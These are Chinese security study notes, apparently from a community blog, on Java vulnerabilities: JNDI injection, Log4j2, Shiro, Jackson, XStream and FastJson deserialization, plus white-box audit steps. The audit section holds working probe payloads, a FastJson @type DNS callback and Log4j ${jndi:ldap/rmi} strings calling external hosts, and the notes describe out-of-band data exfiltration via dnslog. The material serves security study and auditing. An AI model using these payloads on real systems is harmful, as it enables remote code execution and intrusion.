RCE 函数
- Groovy
- RuntimeExec
- ProcessImpl
- ProcessBuilder
- ScriptEngineManager
JNDI 注入
参考:https://blog.csdn.net/dupei/article/details/120534024
JNDI(Java 命名和目录接口)
是一组为开发人员查找和访问各种资源提供的统一通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。
-
支持服务
- DNS
- LDAP(重点)
- CORBA
- RMI(重点)
- ......
总结:JNDI 就是一组 API 接口。每一个对象都有一组唯一的键值绑定,将名字和对象绑定,可以通过名字检索指定的对象,而该对象可能存储在 RMI、LDAP 中。
Reference 类(重点): 对存在于命名/目录系统以外的对象的引用。
Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能。对象可以通过绑定Reference,存储在Naming或Directory服务下,比如RMI、LDAP等。
在使用Reference时,我们可以直接将对象写在构造方法中,当被调用时,对象的方法就会被触发。
RMI + Reference
远程方法调用注册表
将恶意的Reference类绑定在RMI注册表中,其中恶意引用指向远程恶意的class文件,当攻击者可以控制JNDI客户端的lookup()参数,或Reference类构造方法的classFactoryLocation参数时,会使用户的JNDI客户端访问RMI注册表中绑定的恶意Reference类,从而,加载远程服务器上的恶意class文件,在客户端本地执行,最终实现JNDI注入攻击,导致远程代码执行。
LDAP + Reference
轻量级目录访问协议
JNDI可以对接LDAP服务,且LDAP也能返回JNDI Reference对象,利用过程与上面RMI Reference基本一致,只是lookup()中的URL为一个LDAP地址,由攻击者控制的LDAP服务端返回一个恶意的JNDI Reference对象。
RMI 和 LDAP 对比
LDAP远程加载Factory类不受RMI中的“trustURLCodebase”等属性的限制,所以适用范围更广,但在JDK 8u191、7u201、6u211之后,trustURLCodebase属性的默认值被设置为false,对LDAP Reference远程工厂类的加载增加了限制。
trustURLCodebase:禁止RMI、LDAP和CORBA协议使用远程codebase的选项
漏洞组件
Log4j2(CVE-2021-44832)
https://avd.aliyun.com/search?q=Log4j
漏洞原因:
通过MessagePatternConverter类进入他的format函数入口后需匹配判断是否存在${,若存在进入if后的workingBuilder.append(config.getStrSubstitutor().replace(event, value));,最终走到了lookup函数进行jndi注入。
Shiro
https://avd.aliyun.com/search?q=Shiro
漏洞原因:
Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞,RuoYi-4.2版本使用的是shiro-1.4.2在该版本和该版本之后都需要勾选AES GCM模式 RuoYi-4.2可用利用链为CommonsBeanutilString这条链 RuoYi-4.6.2版本开始就使用随机密钥的方式,而不使用固定密钥,因此4.6.2版本以后,在没有获取到密钥的请情况下无法再进行利用。
Jackson
https://avd.aliyun.com/search?q=Jackson
漏洞原因:
使用的JacksonPolymorphicDeserialization配置有问题的时候 Jackson反序列化会调用属性所属类的构造函数和setter方法,通过对构造函数和setter方法插入恶意函数,造成代码执行漏洞。
利用条件:
- 调用了 ObjectMapper.enableDefaultTyping()函数
- 反序列化的类使用了 @JsonTypeInfo 注解
XStream
https://avd.aliyun.com/search?q=XStream
漏洞原因:
XStream是java实现对javaBean(实用类)简单快速进行序列化反序列化的框架。目前支持XML或JSON格式数据的序列化或反序列化过程,程序在调用XStream中的fromXML()方法对XML数据进行反序列化的时候,通过绕过XStream的黑名单限制而已输入带有任意命令的xml格式数据,让反序列化产生了非预期对象,造成了任意命令执行的安全漏洞
FastJson(CVE-2022-25845)
https://avd.aliyun.com/search?q=fastjson
漏洞原因:
Fastjson 是阿里巴巴的开源 JSON 解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON字符串,也可以从 JSON 字符串反序列化到 JavaBean。在 Fastjson 1.2.80 及以下版本中存在反序列化漏洞, fastjson 从 JSON 字符串反序列化为 Java 对象时,如果 JSON 字符串中包含 @type 属性,fastjson会根据该属性的值来确定反序列化后的Java对象的类型,攻击者可以在特定依赖下利用此漏洞绕过默认 autoType 关闭限制,造成反序列化攻击。
白盒审计
FastJson 审计
1、看引用组件版本及实现
JSON.parse() JSON.parseObject()
2、找可控变量及访问实现
admin/product propertyJson
3、测试出网回显调用访问
{"@type":"java.net.Inet4Address","val":"atcuqbczqs.dnstunnel.run"}
Log4j 审计
1、看引用组件版本及实现
logger.info、logger.error
2、找可控变量及访问实现
admin/uploadAdminHeadImage originalFileName
3、测试出网回显调用访问
${jndi:ldap://jebqzwhwtn.dnstunnel.run}
${jndi:rmi://47.94.236.117:1099/l6v1wz}
无回显处理
参考:https://mp.weixin.qq.com/s/qhLhgbNwocC07AN48eQ0sw
1、直接将执行结果写入到静态资源文件里,如 html、js 等,然后访问。
2、通过 dnslog 进行数据外带,如果限制 dns 请求则方法失效。
3、将命令执行结果回显到请求 Poc 的 HTTP 响应中。
欢迎来到这里!
我们正在构建一个小众社区,大家在这里相互信任,以平等 • 自由 • 奔放的价值观进行分享交流。最终,希望大家能够找到与自己志同道合的伙伴,共同成长。
注册 关于